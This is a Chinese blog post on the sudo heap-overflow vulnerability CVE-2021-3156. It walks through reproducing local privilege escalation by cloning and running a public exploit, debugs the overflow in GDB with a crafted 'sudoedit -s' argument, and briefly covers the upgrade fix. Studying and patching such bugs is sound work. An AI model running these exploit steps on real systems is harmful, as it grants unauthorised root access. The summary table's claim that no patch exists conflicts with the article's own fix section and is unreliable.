【CVE-2021-3156】——漏洞复现、原理分析以及漏洞修复
文章目录
- 前言
- 1、漏洞概述
- 2、漏洞复现
- 2.1、漏洞复现测试环境
- 2.2、漏洞复现具体步骤
- 3、漏洞原理
- 3.1、前置知识
- 3.1.1、sudo
- 3.1.2、sudoedit
- 3.1.3、转义字符
- 3.2、漏洞分析
- 4、漏洞修复
- 5、参考文献
- 总结
前言
2021年01月27日,RedHat官方发布了Sudo缓冲区/栈溢出漏洞的风险通告,普通用户可以通过利用此漏洞,而无需进行身份验证,成功获取Root权限。
1、漏洞概述
1.9.5p2之前的Sudo包含一个off-by-one错误,该错误可能导致基于堆的缓冲区溢出,这允许通过sudoedit -s
和以单个反斜杠字符结尾的命令行参数将权限提升到root。关于此漏洞的详细信息请参阅下表。关于此漏洞的更多信息,请参阅阿里云漏洞库和NVD:
描述项 | 具体值 |
---|---|
CVE编号 | CVE-2021-3156 |
NVD评分 | 7.8 |
披露时间 | 2021-01-27 |
漏洞类型 | 堆缓冲区溢出、Off-by-one错误、跨界内存写 |
漏洞危害 | 本地提权 |
影响范围 | 1.8.2<sudo<1.8.31p2、1.9.0<sudo<1.9.5p1 |
是否有Patch | 无 |
Patch是否可用 | |
数据保密性 | 无影响 |
数据完整性 | 无影响 |
攻击路径 | 本地 |
攻击复杂度 | 容易 |
2、漏洞复现
2.1、漏洞复现测试环境
软件环境 | 硬件环境 | 约束条件 |
---|---|---|
操作系统版本为ubuntu-18.04.5-desktop-amd64 | 分配4个处理器,每个处理器有4个内核,处理器内核总数为16 | 1.8.2<sudo<1.8.31p2 |
Linux内核版本为5.4.0-42-generic | 内存16GB | 1.9.0<sudo<1.9.5p1 |
使用的虚拟机管理器为VMware 17.0.0 | 硬盘400GB |
2.2、漏洞复现具体步骤
首先去文件服务器中查找是否存在符合当前漏洞条件的操作系统和Linux内核版本的组合的虚拟机系统,如果存在,则参考下文进行漏洞复现。否则请参阅“POC验证环境搭建规范”一文搭建满足当前漏洞条件的操作系统和Linux内核的组合的虚拟机系统并将其上传到我们的服务器后,再参考下文进行漏洞复现。
- 首先查看当前Ubuntu系统的版本:
$ lsb_release -a
-
可以发现当前Ubuntu系统的版本为18.04.5 LTS:
-
然后查看当前Ubuntu系统的Linux内核的版本:
$ uname -r
-
可以发现当前Ubuntu系统的Linux内核的版本为5.4.0-42-generic:
-
然后使用如下命令查看当前系统中的sudo的版本:
$ sudo --version
-
可以发现当前系统中的sudo的版本为1.8.21p2:
-
然后下载安装POC/CVE验证所需要的软件:
$ sudo apt-get update
$ sudo apt-get install git -y
$ sudo apt-get install make -y
$ sudo apt-get install gcc -y
$ sudo apt-get install g++ -y
- 然后来到当前用户的根目录中,创建名为“CVE-2021-3156”的目录,并进入此目录:
$ cd ~
$ mkdir CVE-2021-3156
$ cd CVE-2021-3156/
- 然后在名为“CVE-2021-3156”的目录中下载Exploit源码,并进入其源码目录:
$ git clone https://github.com/blasty/CVE-2021-3156.git
$ cd CVE-2021-3156/
- 然后执行如下命令来编译源代码以得到用于POC/CVE验证的二进制文件:
$ make
- 然后使用如下命令查看上面的操作的结果:
$ ll
-
可以发现,已经成功得到了用于POC/CVE验证的二进制文件:
-
然后在此目录中继续创建一个名为“run.sh”的文件,并编辑其:
$ touch run.sh
$ gedit run.sh
- 在打开的文件中,输入如下内容。这些内容就是用来自动化和规范的来进行POC/CVE的验证:
#!/bin/bash# Run script for CVE-2021-3156 exploit# Add any setup commands if needed
# Example: ./setup.sh# Run the exploit binary
./sudo-hax-me-a-sandwich 0# Add any cleanup commands if needed
# Example: rm -f some_fileecho "Script execution completed."
- 当我们做完以上操作后,保存以上修改后退出,然后赋予“run.sh”脚本执行权限,并执行其以进行POC/CVE的验证:
$ chmod +x run.sh
$ ./run.sh
-
执行上面的命令后,发现已经成功利用此Exploit获取到了root用户的权限:
-
我们可以使用如下命令进一步验证当前用户的权限:
# whoami
- 可以发现,已经成功提权:
3、漏洞原理
3.1、前置知识
3.1.1、sudo
sudo(Superuser Do)是一个在Unix和类Unix操作系统中用于以超级用户(root用户)权限执行命令的命令行工具。它允许系统管理员授权普通用户执行特定任务,而不需要提供完整的超级用户凭证。以下是关于sudo工具的一些关键特点和用法:
- 权限提升:允许普通用户以超级用户身份执行特定的命令或访问受保护的文件,通常需要输入用户自己的密码而不是超级用户密码。
- 安全性:提高系统的安全性,因为用户只有在需要时才能获得超级用户权限,并且所有的操作都可以被审计。
- 配置文件:可以通过配置文件(通常是“/etc/sudoers”)定义哪些用户可以执行哪些命令,以及在执行这些命令时是否需要输入密码。
- 命令格式:
sudo
命令通常的格式为sudo [选项] 命令 [命令参数]
。例如,sudo ls /root
允许普通用户以超级用户权限列出“/root”目录的内容。
请注意,sudo可以用于在终端中执行单个命令,也可以使用sudo -s
或sudo su
来启动一个新的shell以获取超级用户权限,但这样的使用需要谨慎,确保只有授权的用户可以执行。
3.1.2、sudoedit
sudoedit是sudo
命令的一个别名,用于以超级用户(root用户)权限编辑文件。它允许普通用户在不需要完全切换到超级用户账户的情况下,通过指定的文本编辑器编辑受保护的文件。以下是一些关于sudoedit
命令的一些关键特点和用法:
- 权限控制:允许普通用户编辑系统中的文件,而不需要直接使用超级用户权限。这有助于提高系统的安全性。
- 配置文件:类似于
sudo
命令,sudoedit
命令的权限也可以通过配置文件(通常是“/etc/sudoers”)进行定义和配置。 - 安全性:由于编辑器的选择是通过配置文件中指定的,系统管理员可以限制用户可以使用的编辑器,从而提高安全性。
- 命令格式:
sudoedit
命令的基本格式是sudoedit [选项] 文件
。例如,sudoedit /etc/hosts
命令允许用户以超级用户权限编辑“/etc/hosts”文件。 - 基本参数:
-s
或--shell
:打开一个新的shell,允许用户以超级用户权限执行命令-h
或--help
:显示sudoedit的帮助信息,列出可用选项和参数-V
或--version
:显示sudoedit的版本信息-b
或--background
:在后台模式下运行编辑器。这对于在脚本或其他自动化任务中使用sudoedit可能很有用
使用sudoedit
命令时,用户通常会被要求输入他们自己的密码,而不是超级用户密码,以进行身份验证。这使得sudoedit更加安全,因为系统可以追踪哪个用户以超级用户权限编辑了哪些文件。
3.1.3、转义字符
转义字符是一种用于表示一些特殊字符的机制,通常通过在字符前面加上反斜杠(\)来实现。转义字符告诉解释器或编译器,后面的字符应该以不同于其原始含义的方式被解释。以下是一些常见的转义字符及其用途:
- \n:换行符,用于在字符串中创建新的一行。
- \t:制表符,用于在字符串中插入水平制表符。
- \r:回车符,将光标移动到行首而不换行。
- ":双引号,用于在双引号内表示双引号字符。
- ':单引号,用于在单引号内表示单引号字符。
- \:反斜杠,用于在字符串中表示反斜杠字符本身。
- \x:十六进制转义,用于表示一个字符的十六进制值,例如\x41表示字符’A’。
在编程语言和正则表达式等上下文中,转义字符是为了能够处理和表示特殊字符,以及避免与语言中的其他语法冲突。例如,在字符串中使用转义字符可以让你插入一些特殊的字符,而不会与字符串的边界或其他字符产生歧义。需要注意的是:
- C语言中,\\表示\
- GDB中,\\表示\
3.2、漏洞分析
为了分析CVE-2021-3156漏洞的原理,我们需要从sudo工具的源代码级别对其进行分析,还需要GDB对其进行调试。我们以1.8.31p1版本的sudo工具的源代码为例进行分析(因为系统自带的sudo工具没有开启调试功能,故无法对其进行分析,且1.8.31p1版本的sudo工具也存在CVE-2021-3156漏洞),当前首先需要下载此版本的sudo工具的源代码,并进入其源代码目录中。
$ cd ~
$ wget https://www.sudo.ws/dist/sudo-1.8.31p1.tar.gz
$ tar xf sudo-1.8.31p1.tar.gz
$ cd sudo-1.8.31p1/
然后我们打开如下文件,来查看其中内容。
$ gedit src/parse_args.c
在打开的文件中定位到第590~第591行(此部分代码属于名为“parse_args”的函数),这部分代码添加了sudo命令对于特殊格式参数的转义的处理,即如果参数不是数字或者字母,并且不是_
、-
、$
字符,则对其进行转义。
然后我们关闭以上文件,并打开如下文件,来查看其中内容。
$ gedit plugins/sudoers/sudoers.c
在打开的文件中定位到第864~第871行(此部分代码属于名为“set_cmnd”的函数),这部分代码的作用是去掉所有的转义符\
,因为外部的输入参数最终需要保存到内存中的堆或栈空间,而这个名为“set_cmnd”的函数就是为了将命令行参数复制到堆内存,所以需要去掉所有的转义符\
。我们今天讨论的CVE-2021-3156漏洞源于此处的代码。
然后关闭以上文件即可。当我们对上述两个函数的作用有了一个清楚的认识之后,现在假设当我们执行sudoedit -s '\'
python3 -c “print(‘A’*8)”``命令,会有两种情况:
- 情况一:首先使用
parse_args
函数对命令中的\
进行转义,然后传入set_cmnd
函数中消除转义,这个过程是没问题的,最终可以正常执行命令 - 情况二:不使用
parse_args
函数对命令中的\
进行转义,然后也会进入set_cmnd
函数中消除转义,不过此时在for
循环的拷贝过程中,由于输入的参数只有一个\
,因为没有对其进行转义,那么就会满足if
判断的条件,跳过\
,从而拷贝\
后面的参数到user_args
中,即’AAAAAAAA’(由于没有转义造成的第一次拷贝),当使用while
循环拷贝完毕后,再次进入for
循环,又将’AAAAAAAA’拷贝到user_args
中(正常的第二次拷贝),那此时很明显拷贝的数据已经超过了user_args
的长度,从而导出其发生堆溢出的情况,这样我们就可以计算出对应的溢出地址,对其插入shellcode,最终可以让普通用户提权
下面我们将会使用GDB调试sudoedit -s '\'
python3 -c “print(‘A’*8)”``命令来复现这整个过程。需要注意的是,我们不能直接使用系统自带的sudo工具来复现整个过程,因为其没有开启调试模式,我们得手动编译安装sudo工具,并开启调试模式,这就要用到我们刚刚下载的sudo 1.8.31p1的源代码了。
- 首先进入刚刚下载的sudo 1.8.31p1的源代码目录中,开启
-g
选项来安装此版本的sudo工具:
$ cd ~/sudo-1.8.31p1/
$ ./configure CFLAGS="-g"
$ make
$ sudo make install
$ sudo cp src/sudo /usr/bin/sudo
- 然后查看当前系统中的sudo工具的版本:
$ sudo -V
-
可以发现,当前系统中的sudo工具的版本就是我们刚刚安装的sudo工具的版本:
-
然后我们得安装GDB:
$ sudo apt-get update
$ sudo apt-get install gdb -y
- 然后对
sudoedit -s '\'
python3 -c “print(‘A’*8)”``命令进行调试:
$ sudo gdb --args sudoedit -s '\' `python3 -c "print('A'*8)"`
- 然后按照如下方式设置断点。注:这里在设置断点的时候可能会提示我们找不到目标文件,这很正常,别担心,因为sudo工具的代码是动态加载的,我们只需要在这里设置好断点,后面当我们调试程序的时候,目标文件的代码就会自动加载进来了:
(gdb) b main
(gdb) set follow-exec-mode new
(gdb) set breakpoint pending on
(gdb) b sudoers.c:858
(gdb) b sudoers.c:872
- 然后运行程序,并继续向下执行程序直到断点:
(gdb) r
(gdb) c
- 当我们遇到断点后,查看
user_args
申请的内存空间的大小:
(gdb) p size
-
可以发现此时
user_args
申请的内存空间的大小为11,这符合常理,因为参数\
和参数AAAAAAAA
长度一共为9,而每个字符串后面都还有\0
作为占位符表示当前字符串结束,所以长度一共为11=2+9:
-
我们可以查看一下此时
NewArgv
所指向的内存空间中的具体值:
(gdb) p NewArgv[0]
(gdb) p NewArgv[1]
(gdb) p NewArgv[2]
-
可以发现,此时
NewArgv
所指向的内存空间中的具体值和我们预想的一样:
-
经过上面的分析,我们是通过以下代码完成对
NewArgv[1]
和NewArgv[2]
中的数据到user_args
的拷贝:
if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++;
- 以上代码中的
from
就指向了NewArgv
,如果传入的参数为\
,那么就会进入上面的代码段完成对参数的拷贝,不过此拷贝过程不会停止,因为一直都满足if
判断的条件,直到拷贝完参数AAAAAAAA
才结束这一轮的拷贝。所以我们重点关注NewArgv[1]
后面的值,因为NewArgv[1]
指向的内存空间就存储了传入的参数\
:
(gdb) x/20xb 0x7ffe6a73d834
-
可以发现,
NewArgv[1]
后面刚好是AAAAAAAA
,这就印证了我们的猜想:
-
然后查看一下此时(还没有开始拷贝)的
user_args
指向的内存空间的地址,和其中的具体值:
(gdb) p sudo_user.cmnd_args
(gdb) x/8xg 0x55a1702eb6a0
-
可以发现,此时
user_args
指向的内存空间的地址为“0x55a1702eb6a0”,其中的具体值如下图所示:
-
然后从此处的断点继续向下执行程序来完成所有的拷贝过程,直到下一个断点:
(gdb) c
- 当我们完成拷贝过程后,再次查看
user_args
指向的内存空间中的具体值:
(gdb) x/8xg 0x55a1702eb6a0
-
可以发现,参数
AAAAAAAA
被复制了两次,这就验证了我们的猜想:
-
为了进一步验证我们的猜想,我们来查看拷贝完成之后指针停留的内存空间地址(即指针
to
指向的内存空间的地址):
(gdb) p to
- 然后计算并打印拷贝完成后的内存空间的大小:
(gdb) p 0x55a1702eb6b3-0x55a1702eb6a0
-
可以发现,拷贝完成后的内存空间的大小为19,刚好多了参数
AAAAAAAA
的长度,即19=11+8。那么经过以上分析,已经成功验证了我们所有猜想,证明了CVE-2021-3156漏洞确实可以导致堆/栈溢出:
-
最后我们顺序执行如下命令结束本次调试即可(如果有提示输入“y”或者“n”,我们只需要输入“y”后按一下“Enter”即可):
(gdb) quit
4、漏洞修复
下载升级sudo软件包,下载链接为:https://www.sudo.ws/dist/
……
关于此漏洞补丁的详细信息请参阅https://avd.aliyun.com/detail?id=AVD-2021-3156。
5、参考文献
- 阿里云漏洞库
- NVD
- Exploit
- CVE-2021-3156 漏洞复现
- 【CVE-2021-3156】linux sudo提权漏洞复现及修复
- cve-2021-3156-sudo堆溢出简单分析
- CVE-2021-3156分析
- CVE-2021-3156 sudo本地提权漏洞分析
- CVE-2021-3156调试分享
- Download Sudo | Sudo
- sudo版本升级以消除CVE-2021-3156
- 修复CVE-2021-3156漏洞的具体方法
总结
以上就是关于CVE-2021-3156的全部内容了,后续还会带来关于其它应用漏洞的漏洞复现、原理分析以及漏洞修复,我们下篇博客见!
相关文章:

【CVE-2021-3156】——漏洞复现、原理分析以及漏洞修复
文章目录 前言1、漏洞概述2、漏洞复现2.1、漏洞复现测试环境2.2、漏洞复现具体步骤 3、漏洞原理3.1、前置知识3.1.1、sudo3.1.2、sudoedit3.1.3、转义字符 3.2、漏洞分析 4、漏洞修复5、参考文献总结 前言 2021年01月27日,RedHat官方发布了Sudo缓冲区/栈溢出漏洞的风…...

Github 2024-05-31 Java开源项目日报 Top10
根据Github Trendings的统计,今日(2024-05-31统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Java项目10TypeScript项目1JavaGuide - Java 程序员学习和面试指南 创建周期:2118 天开发语言:Java协议类型:Apache License 2.0Star数量:1…...

【上海大学计算机组成原理实验报告】六、内存系统实验
一、实验目的 学习内存访问机制。理解代码和数据的分区存放原理和技术。 二、实验原理 根据实验指导书的相关内容,地址寄存器MAR用来存放要进行读或写的存储器EM的地址。其内容经数据总线DBUS写入,因此必须在数据总线上具有数据后,配合MAR允…...

C++:细谈Sleep和_sleep
ZINCFFO的提醒 还记得上上上上上上上上上上上上上上上上上上(上的个数是真实的)篇文章吗? 随机应变——Sleep()和_sleep() 但在ZINCFFO的C怪谈-02中: 我不喜欢Sleep...... 奤?媜煞鷥! 整活!…...
CORS前端:深度解析跨域资源共享机制及其前端应用
CORS前端:深度解析跨域资源共享机制及其前端应用 在前端开发领域,CORS(跨源资源共享)是一个不可或缺的概念。它允许网页应用在不同的源(域、协议或端口)之间进行资源请求和共享,从而打破了同源…...
React@16.x(15)PureComponent 和 memo
目录 1,什么是 PureComponent2,什么是 memo3,举例3.2,优化13.1,优化2-函数位置 4,注意点4.1,为了提升效率,应该尽量使用 PureComponent4.2,不要直接改变之前的状态&#…...

[C++11/14新特性] tuple元组介绍
C11 标准新引入了一种类模板,命名为 tuple(中文可直译为元组)。tuple 最大的特点是:实例化的对象可以存储任意数量、任意类型的数据。tuple 的应用场景很广泛,例如当需要存储多个不同类型的元素时,可以使用…...

小熊家务帮day8-day9 客户管理模块2 (用户定位,地址簿,实名认证,银行卡信息上传等功能)
客户管理模块 0.用户定位功能0.1 需求0.2 接口分析0.3 接口开发Controller层开发Service层开发 1.我的地址簿功能1.1 需求1.2 数据库设计1.3 新增地址簿1.3.1 接口设计1.3.2 接口开发Controller层开发Service层开发测试功能 1.4 地址簿查询1.4.1 接口设计1.4.2 接口开发Control…...
amis 事件动作 和 行为按钮 常用用法
行为按钮 action (仅是对click事件的处理) actionType:这是 action 最核心的配置,来指定该 action 的作用类型,支持:ajax、link、url、drawer、dialog、confirm、cancel、prev、next、copy、close。 Butt…...

4K高刷显示器 - 蚂蚁电竞ANT27VU
可以毫不夸张地说,每一局游戏最终能够取得胜利,实际上都与一套极为优秀的电竞 PC 有着紧密的关联,因为其能够提供强大的性能支持与流畅的体验。同样的道理,一套优秀的电竞 PC 若想发挥出最佳的效果,那也都离不开一台能…...

图解支付系统的渠道路由设计
大家好,我是隐墨星辰,今天和大家聊聊渠道路由设计。 这篇文章主要讲清楚:渠道路由是什么,为什么需要渠道路由,渠道路由的几种形态,一个简洁而实用的基于规则的渠道路由设计。 注:有些公司称渠…...
Leecode---347:输出前k个高频元素(使用unordered_map)
题目: 给你一个整数数组 nums 和一个整数 k ,请你返回其中出现频率前 k 高的元素。你可以按 任意顺序 返回答案。 思路: 三步: 1、用map来记录每个元素出现的次数 2、按map中的值大小排序,先让其有序,再逆…...
k8s ceph(静态pvc)
1.在 Kubernetes 节点上安装ceph-common 包。这个包包含了连接到 Ceph 集群所需的工具和库。可以使用以下命令在每个节点上安装: sudo apt-get install ceph-common2.在 Kubernetes 中创建一个 Secret 对象,用于存储连接到 Ceph 集群所需的密钥和配置信息…...

Qt QScript 之 C++/JavaScript相互调用
文章目录 Qt Script什么是ECMAScriptQt 中JavaScriptclass 详解Basic UsageQObject对脚本引擎可用使用信号槽connect 三种模式访问属性, 子对象使c++对象可用于用Qt Script编写的脚本C++ 类成员函数可用于脚本C++ 类属性可用于脚本对脚本中的c++对象信号的反应函数对象和本机函…...
可能会引起空指针
PreparedStatement preparedStatement null; preparedStatement conn.prepareStatement(sql); 如果直接下面这个可能会赋值给空指针 因为要在try{}和catch{}里面都用,所以要定义在try外面为null //如果只是测试,可以PreparedStatement preparedStatement conn.prepareSta…...

Linux input输入子系统
Linux input 更多内容可以查看我的github Linux输入子系统框架 Linux输入子系统由驱动层、核心层、事件处理层三部分组成。 驱动层:输入设备的具体驱动程序,负责与具体的硬件设备进行交互,并将底层的硬件输入转化为统一的事件形式ÿ…...

dataworks调度参数
概述 调度参数是DataWorks任务调度时使用的参数,调度参数会根据任务调度的业务时间及调度参数的取值格式自动替换取值,实现在任务调度时间内参数的动态取值。 调度参数通过赋值方式分为自定义参数(推荐)和系统内置变量两大类。 …...
JavaScript第五讲:事件,条件循环语句,错误处理
前言 在编程的世界里,事件、条件和循环语句、以及错误处理是构建任何复杂程序或应用的基石。无论是开发一个简单的网页交互,还是构建一个庞大的企业级系统,这些基础概念都扮演着至关重要的角色。今天星途将通过这篇文章,分别深入…...

BrainGPT1,一个帮你b站点歌放视频的多模态多轮对话模型
BrainGPT1,一个帮你b站点歌放视频的多模态多轮对话模型 返回论文目录 项目地址 模型地址 作者:华东师范大学,计算机科学与技术学院,智能教育研究院的小怪兽会微笑。 介绍 BrainGPT1是一个工具调用多轮对话模型,与G…...

带DSP音效处理D类数字功放TAS5805M中文资料
国产替代D类数字功放中文资料访问下方链接 ACM8628 241W立体声182W单通道数字功放中文寄存器表 内置DSP多种音频处理效果ACM8628M-241W立体声或182W单通道数字功放 1 特性 具有增强处理能力和低功率损耗的 TAS5805M 23W、无电感器、数字输入、立体声、闭环 D 类音频放大器 …...

Docker 运行 Kafka 带 SASL 认证教程
Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明:server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...

vscode(仍待补充)
写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh? debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...

汽车生产虚拟实训中的技能提升与生产优化
在制造业蓬勃发展的大背景下,虚拟教学实训宛如一颗璀璨的新星,正发挥着不可或缺且日益凸显的关键作用,源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例,汽车生产线上各类…...
vue3 字体颜色设置的多种方式
在Vue 3中设置字体颜色可以通过多种方式实现,这取决于你是想在组件内部直接设置,还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法: 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

页面渲染流程与性能优化
页面渲染流程与性能优化详解(完整版) 一、现代浏览器渲染流程(详细说明) 1. 构建DOM树 浏览器接收到HTML文档后,会逐步解析并构建DOM(Document Object Model)树。具体过程如下: (…...

Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
Spring AI与Spring Modulith核心技术解析
Spring AI核心架构解析 Spring AI(https://spring.io/projects/spring-ai)作为Spring生态中的AI集成框架,其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似,但特别为多语…...
Hive 存储格式深度解析:从 TextFile 到 ORC,如何选对数据存储方案?
在大数据处理领域,Hive 作为 Hadoop 生态中重要的数据仓库工具,其存储格式的选择直接影响数据存储成本、查询效率和计算资源消耗。面对 TextFile、SequenceFile、Parquet、RCFile、ORC 等多种存储格式,很多开发者常常陷入选择困境。本文将从底…...
QT3D学习笔记——圆台、圆锥
类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体(对象或容器)QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质(定义颜色、反光等)QFirstPersonC…...

华为OD机考-机房布局
import java.util.*;public class DemoTest5 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseSystem.out.println(solve(in.nextLine()));}}priv…...